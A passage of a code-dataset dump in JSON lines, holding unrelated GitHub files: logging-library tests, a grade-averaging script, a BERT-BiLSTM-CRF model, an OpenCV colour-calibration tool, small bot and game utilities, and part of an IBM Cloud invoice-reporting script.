re.search('.*INFO.*This is my print', stdout_data)\n assert re.search('.*INFO.*This is my print', log_data)\n\n assert re.search('.*INFO.*This should be printed normally too', stdout_data)\n assert re.search('.*INFO.*This should be printed normally too', log_data)\n\n\n@pytest.mark.parametrize(\"msg\", [('info', 'abc Info: It will rain this afternoon'),\n ('warning', 'def Warning: the price is down'),\n ('error', 'ghi Error: username incorrect'),\n ('critical', 'jkl Critical: system is overheating'),\n ('debug', 'mno DEBUG: ha ha ha')])\ndef test_guess_message_level(msg):\n with setup_logging(capture_print=True, guess_level=True):\n level, msg = msg\n print(msg)\n\n log_data = log.read_text().splitlines()[-1].lower()\n assert log_data.count(level) == 2\n\n\n@pytest.mark.parametrize(\"level\", [logging.WARNING, logging.ERROR])\ndef test_suppress_logger(capsys, level):\n # suppess by config file\n with setup_logging(suppress_level_below=level):\n from tests.exchangelib_logger import fox_run\n\n fox_run()\n\n stdout_data = capsys.readouterr().out\n assert 'DEBUG' not in stdout_data\n assert 'INFO' not in stdout_data\n\n if level == logging.WARNING:\n assert 'WARNING' in stdout_data\n elif level == logging.ERROR:\n assert 'WARNING' not in stdout_data\n\n assert 'ERROR' in stdout_data\n assert 'CRITICAL' in stdout_data\n\n\ndef test_suppress_logger2(capsys):\n # suppress by the code\n with setup_logging(suppress=['suppressed_logger']):\n logger = getLogger('suppressed_logger')\n logger.info('Ha ha, this should not be logged')\n\n stdout_data = capsys.readouterr().out\n assert 'INFO' not in stdout_data\n\n\ndef test_logging_disabled(capsys):\n with setup_logging():\n logger.info('Secret process starts')\n with logging_disabled():\n logger.debug('debug')\n logger.info('info')\n logger.warning('warning')\n logger.error('error')\n logger.critical('critical')\n logger.info('Secret process finished')\n\n stdout_data = capsys.readouterr().out\n assert 'debug' not in stdout_data\n assert 'info' not in stdout_data\n assert 'warning' not in stdout_data\n assert 'error' not in stdout_data\n assert 'critical' not in stdout_data\n\n log_data = log.read_text()\n assert 'debug' not in log_data\n assert 'info' not in log_data\n assert 'warning' not in log_data\n assert 'error' not in log_data\n assert 'critical' not in log_data\n\n\ndef test_default_logger(capsys):\n with setup_logging():\n my_logger.debug('debug')\n my_logger.info('info')\n my_logger.warning('warning')\n my_logger.error('error')\n my_logger.critical('critical')\n\n stdout_data = capsys.readouterr().out\n assert 'debug' not in stdout_data\n assert 'info' in stdout_data\n assert 'warning' in stdout_data\n assert 'error' in stdout_data\n assert 'critical' in stdout_data\n\n log_data = log.read_text()\n assert re.search(r'test_simple:\\d+.+debug', log_data)\n assert re.search(r'test_simple:\\d+.+info', log_data)\n assert re.search(r'test_simple:\\d+.+warning', log_data)\n assert re.search(r'test_simple:\\d+.+error', log_data)\n assert re.search(r'test_simple:\\d+.+critical', log_data)\n\n\ndef test_default_logger_submodule():\n with setup_logging():\n from tests.sub_module import run\n\n run()\n\n log_data = log.read_text()\n assert len(re.findall(r\"tests.sub_module:\\d+ INFO\", log_data)) == 2\n\n\ndef test_default_logger_suppress():\n with setup_logging() as log_config:\n from tests.sub_module import run\n\n log_config.suppress_loggers(['tests.sub_module'])\n run()\n\n log_data = log.read_text()\n assert len(re.findall(r\"tests.sub_module:\\d+ INFO\", log_data)) == 0\n\n\ndef test_double_setup_logging():\n # there should be a warning if setup_logging() is called multiple times\n with setup_logging() as log_config:\n with setup_logging() as log_config:\n pass\n\n log_data = log.read_text()\n assert \"WARNING\" in log_data\n\n\ndef test_context_injector():\n def injector(record):\n record.msg = 'injected text ' + record.msg\n return True\n\n with setup_logging() as log_config:\n log_config.set_context_injector(injector)\n my_logger.info('function as Filter')\n\n log_config.remove_context_injector(injector)\n my_logger.error('Injector is removed')\n\n log_data = log.read_text()\n assert \"injected text\" in log_data\n assert \"Injector is removed\" in log_data and log_data.count('injected text') == 1\n\n\ndef test_replace_handler_stream():\n my_stream = StringIO()\n with setup_logging() as log_config:\n log_config.replace_handler_stream(1, my_stream)\n my_logger.info('Stream is replaced')\n\n # wait for other thread to flush the log\n time.sleep(0.5)\n\n # read the stream inside the with block\n # while it is not closed\n my_stream.seek(0)\n data = my_stream.read()\n\n assert 'Stream is replaced' in data\n\n\ndef test_add_logging_level():\n\n with setup_logging() as log_config:\n log_config.add_logging_level('NOTICE2', logging.INFO+1)\n my_logger.notice2('This is the added level')\n\n log_data = log.read_text()\n assert re.search(\"NOTICE2.*This is the added level\", log_data)\n\n\ndef test_remove_unused_handlers():\n import json\n\n config_file = Path(\"../logger_tt/log_config.json\")\n config = json.loads(config_file.read_text())\n\n assert 'buffer_stream_handler' in config['handlers']\n assert 'telegram_handler' in config['handlers']\n\n remove_unused_handlers(config)\n assert 'buffer_stream_handler' not in config['handlers']\n assert 'telegram_handler' not in config['handlers']\n","repo_name":"Dragon2fly/logger_tt","sub_path":"tests/test_simple.py","file_name":"test_simple.py","file_ext":"py","file_size_in_byte":7882,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"31"} +{"seq_id":"30278546605","text":"# создание кортежа кортежей, хранящих информацию о студентах\nstudents_book = (\n (\"Иван\", 18, 4.0, \"Киев\"),\n (\"Светлана\", 20, 8.0, \"Киев\"),\n (\"Дмитрий\", 19, 7.0, \"Фастов\"),\n (\"Николай\", 18, 6.0, \"Одесса\"),\n (\"Стас\", 18, 5.0, \"Киев\"),\n (\"Илона\", 20, 9.0, \"Жмерынка\"),\n (\"Надя\", 21, 2.0, \"Маякы\")\n)\n# объявление переменных необходимых для будущих расчетов\ncount = 0\nsumma = 0\nthe_best = []\n# подсчет количества и общей суммы\nfor i in range(len(students_book)):\n count += 1\n summa += students_book[i][2]\n# нахождение средней оценки\navr = summa / count\n# создание списка лучших студентов\nfor i in range(len(students_book)):\n if students_book[i][2] >= avr:\n the_best.append(students_book[i][0])\n# Вывод лучших студентов\nprint(\"Ученики: \", end=' ')\n# правильная расстановка запятой между именами\nfor i in range(len(the_best[:-1])):\n print(the_best[i], end=', ')\nprint(the_best[-1], end=' ')\nprint(\"в этом семестре хорошо учатся!\", end='')\n","repo_name":"AlexLaros/lessons_py","sub_path":"lesson_7/students_tuple.py","file_name":"students_tuple.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70859497369","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom charbilstm import BiLSTM\nfrom crf import CRF\n\n\nclass Bert_BiLSTM_CRF(nn.Module):\n def __init__(self, vocab_size, tag2id, embedding_dim, hidden_dim, batch_size, dropout, device, bert=None, config=None):\n super(Bert_BiLSTM_CRF, self).__init__()\n self.vocab_size = vocab_size\n self.tag2id = tag2id\n self.embedding_dim = embedding_dim\n self.hidden_dim = hidden_dim\n self.batch_size = batch_size\n self.tag_size = len(self.tag2id)\n self.device = device\n\n self.bert = bert\n self.dropout = nn.Dropout(dropout)\n self.lstm = BiLSTM(vocab_size, tag2id, embedding_dim, hidden_dim, batch_size, dropout, device, config)\n self.crf = CRF(self.tag_size, tag2id, device)\n\n def neg_log_likelihood_loss(self, sentence, seq_length, mask, tags=None):\n # print('sentence size>>', sentence.shape) # (batch_size, seq_len)\n last_encoder_layer = self.bert(sentence).last_hidden_state\n # print('last_encoder_layer size>>', last_encoder_layer.shape)\n last_encoder_layer = self.dropout(last_encoder_layer) # (batch_size, seq_len, config.hidden)\n # print('last_encoder_layer size>>', last_encoder_layer.shape)\n\n lstm_outs = self.lstm.get_output_score(last_encoder_layer, seq_length) # (batch_size, seq_len, tag_size)\n # print('lstm_outs size >>', lstm_outs.shape)\n total_loss = self.crf.neg_log_likelihood_loss(lstm_outs, mask, tags)\n # print('total_loss>>', total_loss)\n _, tag_seq = self.crf._viterbi_decode(lstm_outs, seq_length, mask)\n # print('tag_seq>>', tag_seq)\n return total_loss, tag_seq\n\n def forward(self, sentence, seq_length, mask):\n last_encoder_layer = self.bert(sentence).last_hidden_state\n last_encoder_layer = self.dropout(last_encoder_layer)\n\n lstm_out = self.lstm.get_output_score(last_encoder_layer, seq_length)\n scores, tag_seq = self.crf._viterbi_decode(lstm_out, seq_length, mask)\n return tag_seq\n ","repo_name":"liuyuzhangolvz/NER_yz","sub_path":"bert_bilstm_crf.py","file_name":"bert_bilstm_crf.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"35578511038","text":"import pickle\nimport cv2\nimport numpy as np\nimport ImageProcessor\nimport CameraUndistorter\n\ncolor = 1 # 0 : yellow, 1 : green\n\ndef nothing(x):\n pass\n\ndef mouseCallback(event,x,y,flags,param):\n if(event == cv2.EVENT_LBUTTONDOWN):\n param[\"roi\"].append((x,y))\n elif(event == cv2.EVENT_RBUTTONDOWN):\n if(len(param[\"roi\"]) > 0):\n param[\"roi\"].pop()\n\ndef saveParam(param):\n\n if(color == 0):\n path = 'CylinderFinder_yellow.dat'\n else:\n path = 'CylinderFinder_green.dat'\n \n with open(path, 'w') as file:\n pickler = pickle.Pickler(file)\n pickler.dump(param)\n\ndef loadParam():\n\n if(color == 0):\n path = 'CylinderFinder_yellow.dat'\n else:\n path = 'CylinderFinder_green.dat'\n \n with open(path, 'r') as file:\n depickler = pickle.Unpickler(file)\n param = depickler.load()\n return param\n\ndef createTrackbars():\n cv2.namedWindow('Colors', cv2.WINDOW_NORMAL)\n cv2.namedWindow('Match max', cv2.WINDOW_NORMAL)\n cv2.createTrackbar('Hmin', 'Colors', 0, 179, nothing)\n cv2.createTrackbar('Hmax', 'Colors', 0, 179, nothing)\n cv2.createTrackbar('Smin', 'Colors', 0, 255, nothing)\n cv2.createTrackbar('Smax', 'Colors', 0, 255, nothing)\n cv2.createTrackbar('Vmin', 'Colors', 0, 255, nothing)\n cv2.createTrackbar('Vmax', 'Colors', 0, 255, nothing)\n cv2.createTrackbar('MatchMax', 'Match max', 0, 1000, nothing)\n\n cv2.setTrackbarPos('Hmax', 'Colors', 179)\n cv2.setTrackbarPos('Smax', 'Colors', 255)\n cv2.setTrackbarPos('Vmax', 'Colors', 255)\n\ndef updateTrackbars(param):\n cv2.setTrackbarPos('Hmin', 'Colors', param[\"colorMin\"][0])\n cv2.setTrackbarPos('Smin', 'Colors', param[\"colorMin\"][1])\n cv2.setTrackbarPos('Vmin', 'Colors', param[\"colorMin\"][2])\n cv2.setTrackbarPos('Hmax', 'Colors', param[\"colorMax\"][0])\n cv2.setTrackbarPos('Smax', 'Colors', param[\"colorMax\"][1])\n cv2.setTrackbarPos('Vmax', 'Colors', param[\"colorMax\"][2])\n cv2.setTrackbarPos('MatchMax', 'Match max', param[\"matchMax\"])\n\ndef readParamsFromTrackbars(param):\n colorMin = np.array([cv2.getTrackbarPos('Hmin', 'Colors'),\n cv2.getTrackbarPos('Smin', 'Colors'),\n cv2.getTrackbarPos('Vmin', 'Colors')])\n colorMax = np.array([cv2.getTrackbarPos('Hmax', 'Colors'),\n cv2.getTrackbarPos('Smax', 'Colors'),\n cv2.getTrackbarPos('Vmax', 'Colors')])\n matchMax = cv2.getTrackbarPos('MatchMax', 'Match max')\n \n param[\"colorMin\"] = colorMin\n param[\"colorMax\"] = colorMax\n param[\"matchMax\"] = matchMax\n\ndef cropFrameAddContours(frame, mask, contours, roiPts):\n cropped = cv2.bitwise_and(frame, frame, mask=mask)\n cv2.drawContours(cropped, contours, -1, (255, 0, 0))\n if(len(roiPts) >= 2):\n cv2.polylines(cropped, np.array([roiPts]), False, (255,255,255), 4)\n return cropped\n\ncap = cv2.VideoCapture('http://10.13.152.226:8554/')\nend = False\n\ncylinderFinder = ImageProcessor.CylinderFinder()\n\nundistorter = CameraUndistorter.CameraUndistorter()\nundistorter.loadParam()\n\ncreateTrackbars()\n\ncv2.namedWindow('Result')\nparam = {\"roi\":[]}\ncv2.setMouseCallback('Result', mouseCallback, param)\n\nwhile(cap.isOpened() and not end):\n ret,frame = cap.read()\n readParamsFromTrackbars(param)\n cylinderFinder.setParam(param)\n\n if(ret):\n #frame = undistorter.undistort(frame)\n frame = cv2.GaussianBlur(frame, (5,5), 0)\n hsvFrame = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n _,mask,validContours = cylinderFinder.process(hsvFrame)\n finalFrame = cropFrameAddContours(frame, mask, validContours, param[\"roi\"])\n cv2.imshow('Result', finalFrame) \n \n key = cv2.waitKey(1) & 0xFF\n if(key == ord('q')):\n end = True\n elif(key == ord('s')):\n saveParam(param)\n elif(key == ord('l')):\n param = loadParam()\n updateTrackbars(param)\n cv2.setMouseCallback('Result', mouseCallback, param)\n\ncap.release() \ncv2.destroyAllWindows()\n","repo_name":"SupelecRobotics/OpenCVSUMO2017","sub_path":"MachineLearning/Python/Raspberry_Pi/BeaconPos_v1/cylinderCalibration.py","file_name":"cylinderCalibration.py","file_ext":"py","file_size_in_byte":4055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73815250328","text":"import os\nimport os.path as osp\nimport glob\nimport shutil\n\nroot_path = '/home/yangbai/project/dataset'\n\ndef read_class(class_path):\n with open(class_path, 'r') as f:\n classes = f.read().strip().split()\n return classes\n\ndef gen_image(src_path, des_path, cls):\n img_list = glob.glob(src_path + '/*.jpg')\n \n\n for img in img_list:\n img_name = img.split(osp.sep)[-1].split('.')[0]\n img_name += '.jpg'\n img_path = osp.join(des_path, img_name) \n #print (img_path)\n print ('Processing %s ...' % cls)\n shutil.copyfile(img, img_path)\n\n\ndef main():\n class_path = osp.join(root_path, 'class.txt')\n classes = read_class(class_path)\n for cls in classes:\n src_path = osp.join(root_path, 'data_training', cls)\n des_path = osp.join(root_path, 'images', cls)\n if not osp.exists(des_path):\n os.makedirs(des_path)\n gen_image(src_path, des_path, cls)\n\nif __name__ == '__main__':\n main()\n","repo_name":"ybai62868/CornerNet-Lite-for-DAC2019-Yang","sub_path":"data_prepare/for_jinny/gen_image.py","file_name":"gen_image.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"29397732918","text":"from aiogram.types.reply_keyboard import ReplyKeyboardMarkup\n\nfrom loader import _\n\n\ndef get_menu_keyboard_markup(is_admin: bool = False) -> ReplyKeyboardMarkup:\n markup = ReplyKeyboardMarkup(resize_keyboard=True, selective=True, row_width=2)\n\n markup.row(_(\"➕ Новое напоминание\"), _(\"📝 Список напоминаний\"))\n markup.row(_(\"⏳ Таймер\"))\n markup.row(_(\"💵 Донат\"), _(\"❔ Помощь по командам\"))\n markup.row(_(\"🔗 Реферальная ссылка\"))\n if is_admin:\n markup.insert(_(\"🛠 Админ-клавиатура\"))\n\n return markup\n\n","repo_name":"RomanKuschanow/Lite_task_bot_aiogram","sub_path":"bot/keyboards/default/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40591000376","text":"from typing import Any, Dict\n\nfrom characters import Dealer\nfrom utils import sleep\n\n\nclass Menu(object):\n \"\"\"\n Base class for all menus\n \"\"\"\n\n def __init__(self, options: Dict[str, Any], choices: str) -> None:\n self.options = options\n self.choices = choices\n\n def handle_options(self) -> str:\n \"\"\"\n Extract and execute a method from self.options\n \"\"\"\n try:\n print(self.choices)\n choice = input(\">> \")\n item = self.options[choice]\n return item\n except KeyError:\n msg = \"{} is not a valid choice. Try again.\\n\"\n print(msg.format(choice))\n sleep()\n return self.handle_options()\n\n\nclass ActionMenu(Menu):\n \"\"\"\n Menu giving player action choice after cards dealt\n \"\"\"\n\n def __init__(self, dealer: Dealer) -> None:\n self.dealer = dealer\n options = {\"1\": \"Stand\", \"2\": \"Hit\"}\n choices = \"1. Stand\\n2. Hit\"\n Menu.__init__(self, options, choices)\n","repo_name":"superDross/BlackJack","sub_path":"blackjack/menus.py","file_name":"menus.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7716281817","text":"import requests\n\nurl = \"https://api.testmail.top/domain/check/\"\n\nquerystring = {\"data\":\"example@mail.com\",\"ip\":\"8.8.8.8\"}\n\nheaders = {\n 'Authorization', \"Bearer XXXXXXXXXX.XXXXXXXXXX.XXXXXXXXXX\"\n }\n\nresponse = requests.request(\"GET\", url, headers=headers, params=querystring)\n\nprint(response.text)","repo_name":"testmail-top/Usage","sub_path":"Python(Requests).py","file_name":"Python(Requests).py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42543967275","text":"__author__ = 'jonhall'\nimport SoftLayer, os, logging, logging.config, json, calendar, os.path, argparse, pytz, base64\nimport pandas as pd\nimport numpy as np\nfrom sendgrid import SendGridAPIClient\nfrom sendgrid.helpers.mail import (\n Mail, Personalization, Email, Attachment, FileContent, FileName,\n FileType, Disposition, ContentId)\nfrom datetime import datetime, tzinfo, timezone\nfrom dateutil import tz\nfrom calendar import monthrange\nfrom dateutil.relativedelta import relativedelta\nimport ibm_boto3\nfrom ibm_botocore.client import Config, ClientError\nfrom ibm_platform_services import IamIdentityV1, UsageReportsV4\nfrom ibm_cloud_sdk_core import ApiException\nfrom ibm_cloud_sdk_core.authenticators import IAMAuthenticator\n\ndef setup_logging(default_path='logging.json', default_level=logging.info, env_key='LOG_CFG'):\n # read logging.json for log parameters to be ued by script\n path = default_path\n value = os.getenv(env_key, None)\n if value:\n path = value\n if os.path.exists(path):\n with open(path, 'rt') as f:\n config = json.load(f)\n logging.config.dictConfig(config)\n else:\n logging.basicConfig(level=default_level)\n\ndef getDescription(categoryCode, detail):\n # retrieve additional description detail for child records\n for item in detail:\n if 'categoryCode' in item:\n if item['categoryCode'] == categoryCode:\n return item['product']['description'].strip()\n return \"\"\n\ndef getStorageServiceUsage(categoryCode, detail):\n # retrieve storage details for description text\n for item in detail:\n if 'categoryCode' in item:\n if item['categoryCode'] == categoryCode:\n return item['description'].strip()\n return \"\"\n\n\ndef getCFTSInvoiceDate(invoiceDate):\n # Determine CFTS Invoice Month (20th of prev month - 19th of current month) are on current month CFTS invoice.\n if invoiceDate.day > 19:\n invoiceDate = invoiceDate + relativedelta(months=1)\n return invoiceDate.strftime('%Y-%m')\n\ndef getInvoiceDates(startdate,enddate):\n # Adjust start and dates to match CFTS Invoice cutoffs of 20th to end of day 19th 00:00 Dallas time on the 20th\n dallas = tz.gettz('US/Central')\n startdate = datetime(int(startdate[0:4]),int(startdate[5:7]),20,0,0,0,tzinfo=dallas) - relativedelta(months=1)\n enddate = datetime(int(enddate[0:4]),int(enddate[5:7]),20,0,0,0,tzinfo=dallas)\n return startdate, enddate\n\ndef getInvoiceList(startdate, enddate):\n # GET LIST OF PORTAL INVOICES BETWEEN DATES USING CENTRAL (DALLAS) TIME\n dallas=tz.gettz('US/Central')\n logging.info(\"Looking up invoices from {} to {}.\".format(startdate.strftime(\"%m/%d/%Y %H:%M:%S%z\"), enddate.strftime(\"%m/%d/%Y %H:%M:%S%z\")))\n # filter invoices based on local dallas time that correspond to CFTS UTC cutoff\n try:\n invoiceList = client['Account'].getInvoices(mask='id,createDate,typeCode,invoiceTotalAmount,invoiceTotalRecurringAmount,invoiceTopLevelItemCount', filter={\n 'invoices': {\n 'createDate': {\n 'operation': 'betweenDate',\n 'options': [\n {'name': 'startDate', 'value': [startdate.astimezone(dallas).strftime(\"%m/%d/%Y %H:%M:%S\")]},\n {'name': 'endDate', 'value': [enddate.astimezone(dallas).strftime(\"%m/%d/%Y %H:%M:%S\")]}\n ]\n }\n }\n })\n except SoftLayer.SoftLayerAPIError as e:\n logging.error(\"Account::getInvoices: %s, %s\" % (e.faultCode, e.faultString))\n quit()\n return invoiceList\n\ndef getInvoiceDetail(IC_API_KEY, SL_ENDPOINT, startdate, enddate):\n # GET InvoiceDetail\n global client\n # Create dataframe to work with for classic infrastructure invoices\n df = pd.DataFrame(columns=['Portal_Invoice_Date',\n 'Portal_Invoice_Time',\n 'Service_Date_Start',\n 'Service_Date_End',\n 'IBM_Invoice_Month',\n 'Portal_Invoice_Number',\n 'Type',\n 'BillingItemId',\n 'hostName',\n 'Category',\n 'Description',\n 'Memory',\n 'OS',\n 'Hourly',\n 'Usage',\n 'Hours',\n 'HourlyRate',\n 'totalRecurringCharge',\n 'NewEstimatedMonthly',\n 'totalOneTimeAmount',\n 'InvoiceTotal',\n 'InvoiceRecurring',\n 'Recurring_Description'])\n\n dallas = tz.gettz('US/Central')\n\n # Create Classic infra API client\n client = SoftLayer.Client(username=\"apikey\", api_key=IC_API_KEY, endpoint_url=SL_ENDPOINT)\n\n # get list of invoices between start month and endmonth\n invoiceList = getInvoiceList(startdate, enddate)\n\n if invoiceList == None:\n return invoiceList\n\n for invoice in invoiceList:\n if float(invoice['invoiceTotalAmount']) == 0:\n continue\n\n invoiceID = invoice['id']\n # To align to CFTS billing cutoffs display time in Dallas timezone.\n invoiceDate = datetime.strptime(invoice['createDate'], \"%Y-%m-%dT%H:%M:%S%z\").astimezone(dallas)\n invoiceTotalAmount = float(invoice['invoiceTotalAmount'])\n CFTSInvoiceDate = getCFTSInvoiceDate(invoiceDate)\n\n invoiceTotalRecurringAmount = float(invoice['invoiceTotalRecurringAmount'])\n invoiceType = invoice['typeCode']\n recurringDesc = \"\"\n if invoiceType == \"NEW\":\n serviceDateStart = invoiceDate\n # get last day of month\n serviceDateEnd= serviceDateStart.replace(day=calendar.monthrange(serviceDateStart.year,serviceDateStart.month)[1])\n\n if invoiceType == \"CREDIT\" or invoiceType == \"ONE-TIME-CHARGE\":\n serviceDateStart = invoiceDate\n serviceDateEnd = invoiceDate\n\n totalItems = invoice['invoiceTopLevelItemCount']\n\n # PRINT INVOICE SUMMARY LINE\n logging.info('Invoice: {} Date: {} Type:{} Items: {} Amount: ${:,.2f}'.format(invoiceID, datetime.strftime(invoiceDate, \"%Y-%m-%d\"), invoiceType, totalItems, invoiceTotalRecurringAmount))\n\n limit = 250 ## set limit of record returned\n for offset in range(0, totalItems, limit):\n if ( totalItems - offset - limit ) < 0:\n remaining = totalItems - offset\n logging.info(\"Retrieving %s invoice line items for Invoice %s at Offset %s of %s\" % (limit, invoiceID, offset, totalItems))\n\n try:\n Billing_Invoice = client['Billing_Invoice'].getInvoiceTopLevelItems(id=invoiceID, limit=limit, offset=offset,\n mask=\"id, billingItemId, categoryCode, category.name, hourlyFlag, hostName, domainName, product.description,\" \\\n \"createDate, totalRecurringAmount, totalOneTimeAmount, usageChargeFlag, hourlyRecurringFee,\" \\\n \"children.description, children.categoryCode, children.product, children.hourlyRecurringFee\")\n except SoftLayer.SoftLayerAPIError as e:\n logging.error(\"Billing_Invoice::getInvoiceTopLevelItems: %s, %s\" % (e.faultCode, e.faultString))\n quit()\n\n count = 0\n # ITERATE THROUGH DETAIL\n for item in Billing_Invoice:\n totalOneTimeAmount = float(item['totalOneTimeAmount'])\n billingItemId = item['billingItemId']\n category = item[\"categoryCode\"]\n categoryName = item[\"category\"][\"name\"]\n description = item['product']['description']\n memory = getDescription(\"ram\", item[\"children\"])\n os = getDescription(\"os\", item[\"children\"])\n\n if 'hostName' in item:\n if 'domainName' in item:\n hostName = item['hostName']+\".\"+item['domainName']\n else:\n hostName = item['hostName']\n else:\n hostName = \"\"\n\n recurringFee = float(item['totalRecurringAmount'])\n NewEstimatedMonthly = 0\n\n # If Hourly calculate hourly rate and total hours\n if item[\"hourlyFlag\"]:\n # if hourly charges are previous month usage\n serviceDateStart = invoiceDate - relativedelta(months=1)\n serviceDateEnd = serviceDateStart.replace(day=calendar.monthrange(serviceDateStart.year, serviceDateStart.month)[1])\n recurringDesc = \"IaaS Usage\"\n hourlyRecurringFee = 0\n hours = 0\n if \"hourlyRecurringFee\" in item:\n if float(item[\"hourlyRecurringFee\"]) > 0:\n hourlyRecurringFee = float(item['hourlyRecurringFee'])\n for child in item[\"children\"]:\n if \"hourlyRecurringFee\" in child:\n hourlyRecurringFee = hourlyRecurringFee + float(child['hourlyRecurringFee'])\n hours = round(float(recurringFee) / hourlyRecurringFee) # Not an hourly billing item\n else:\n if categoryName.find(\"Platform Service Plan\") != -1:\n # Non Hourly PaaS Usage from actual usage two months prior\n serviceDateStart = invoiceDate - relativedelta(months=2)\n serviceDateEnd = serviceDateStart.replace(day=calendar.monthrange(serviceDateStart.year, serviceDateStart.month)[1])\n recurringDesc = \"Platform Service Usage\"\n else:\n if invoiceType == \"RECURRING\":\n serviceDateStart = invoiceDate\n serviceDateEnd = serviceDateStart.replace(day=calendar.monthrange(serviceDateStart.year, serviceDateStart.month)[1])\n recurringDesc = \"IaaS Monthly\"\n hourlyRecurringFee = 0\n hours = 0\n\n # Special handling for storage\n if category == \"storage_service_enterprise\":\n iops = getDescription(\"storage_tier_level\", item[\"children\"])\n storage = getDescription(\"performance_storage_space\", item[\"children\"])\n snapshot = getDescription(\"storage_snapshot_space\", item[\"children\"])\n if snapshot == \"\":\n description = storage + \" \" + iops + \" \"\n else:\n description = storage+\" \" + iops + \" with \" + snapshot\n elif category == \"performance_storage_iops\":\n iops = getDescription(\"performance_storage_iops\", item[\"children\"])\n storage = getDescription(\"performance_storage_space\", item[\"children\"])\n description = storage + \" \" + iops\n elif category == \"storage_as_a_service\":\n if item[\"hourlyFlag\"]:\n model = \"Hourly\"\n for child in item[\"children\"]:\n if \"hourlyRecurringFee\" in child:\n hourlyRecurringFee = hourlyRecurringFee + float(child['hourlyRecurringFee'])\n if hourlyRecurringFee>0:\n hours = round(float(recurringFee) / hourlyRecurringFee)\n else:\n hours = 0\n else:\n model = \"Monthly\"\n space = getStorageServiceUsage('performance_storage_space', item[\"children\"])\n tier = getDescription(\"storage_tier_level\", item[\"children\"])\n snapshot = getDescription(\"storage_snapshot_space\", item[\"children\"])\n if space == \"\" or tier == \"\":\n description = model + \" File Storage\"\n else:\n if snapshot == \"\":\n description = model + \" File Storage \"+ space + \" at \" + tier\n else:\n snapshotspace = getStorageServiceUsage('storage_snapshot_space', item[\"children\"])\n description = model + \" File Storage \" + space + \" at \" + tier + \" with \" + snapshotspace\n elif category == \"guest_storage\":\n imagestorage = getStorageServiceUsage(\"guest_storage_usage\", item[\"children\"])\n if imagestorage == \"\":\n description = description.replace('\\n', \" \")\n else:\n description = imagestorage\n else:\n description = description.replace('\\n', \" \")\n\n\n if invoiceType == \"NEW\":\n # calculate non pro-rated amount for use in forecast\n daysInMonth = monthrange(invoiceDate.year, invoiceDate.month)[1]\n daysLeft = daysInMonth - invoiceDate.day + 1\n dailyAmount = recurringFee / daysLeft\n NewEstimatedMonthly = dailyAmount * daysInMonth\n # Append record to dataframe\n row = {'Portal_Invoice_Date': invoiceDate.strftime(\"%Y-%m-%d\"),\n 'Portal_Invoice_Time': invoiceDate.strftime(\"%H:%M:%S%z\"),\n 'Service_Date_Start': serviceDateStart.strftime(\"%Y-%m-%d\"),\n 'Service_Date_End': serviceDateEnd.strftime(\"%Y-%m-%d\"),\n 'IBM_Invoice_Month': CFTSInvoiceDate,\n 'Portal_Invoice_Number': invoiceID,\n 'BillingItemId': billingItemId,\n 'hostName': hostName,\n 'Category': categoryName,\n 'Description': description,\n 'Memory': memory,\n 'OS': os,\n 'Hourly': item[\"hourlyFlag\"],\n 'Usage': item[\"usageChargeFlag\"],\n 'Hours': hours,\n 'HourlyRate': round(hourlyRecurringFee,5),\n 'totalRecurringCharge': round(recurringFee,3),\n 'totalOneTimeAmount': float(totalOneTimeAmount),\n 'NewEstimatedMonthly': float(NewEstimatedMonthly),\n 'InvoiceTotal': float(invoiceTotalAmount),\n 'InvoiceRecurring': float(invoiceTotalRecurringAmount),\n 'Type': invoiceType,\n 'Recurring_Description': recurringDesc\n }\n\n df = df.append(row, ignore_index=True)\n return df\n\ndef createReport(filename, classicUsage, paasUsage):\n # Write dataframe to excel\n logging.info(\"Creating Pivots File.\")\n writer = pd.ExcelWriter(filename, engine='xlsxwriter')\n workbook = writer.book\n\n #\n # Write detail tab\n #\n classicUsage.to_excel(writer, 'Detail')\n usdollar = workbook.add_format({'num_format': '$#,##0.00'})\n worksheet = writer.sheets['Detail']\n worksheet.set_column('Q:W', 18, usdollar)\n totalrows,totalcols=classicUsage.shape\n worksheet.autofilter(0,0,totalrows,totalcols)\n\n #\n # Map Portal Invoices to SLIC Invoices / Create Top Sheet per SLIC month\n #\n\n classicUsage[\"totalAmount\"] = classicUsage[\"totalOneTimeAmount\"] + classicUsage[\"totalRecurringCharge\"]\n\n months = classicUsage.IBM_Invoice_Month.unique()\n for i in months:\n logging.info(\"Creating top sheet for %s.\" % (i))\n ibminvoicemonth = classicUsage.query('IBM_Invoice_Month == @i')\n SLICInvoice = pd.pivot_table(ibminvoicemonth,\n index=[\"Type\", \"Portal_Invoice_Number\", \"Service_Date_Start\", \"Service_Date_End\", \"Recurring_Description\"],\n values=[\"totalAmount\"],\n aggfunc={'totalAmount': np.sum}, fill_value=0).sort_values(by=['Service_Date_Start', \"Portal_Invoice_Number\"])\n\n out = pd.concat([d.append(d.sum().rename((k, ' ', ' ', 'Subtotal', ' '))) for k, d in SLICInvoice.groupby('Type')]).append(SLICInvoice.sum().rename((' ', ' ', ' ', 'Pay this Amount', '')))\n out.rename(columns={\"Type\": \"Invoice Type\", \"Portal_Invoice_Number\": \"Invoice\",\n \"Service_Date_Start\": \"Service Start\", \"Service_Date_End\": \"Service End\",\n \"Recurring_Description\": \"Description\", \"totalAmount\": \"Amount\"}, inplace=True)\n out.to_excel(writer, 'TopSheet-{}'.format(i))\n worksheet = writer.sheets['TopSheet-{}'.format(i)]\n format1 = workbook.add_format({'num_format': 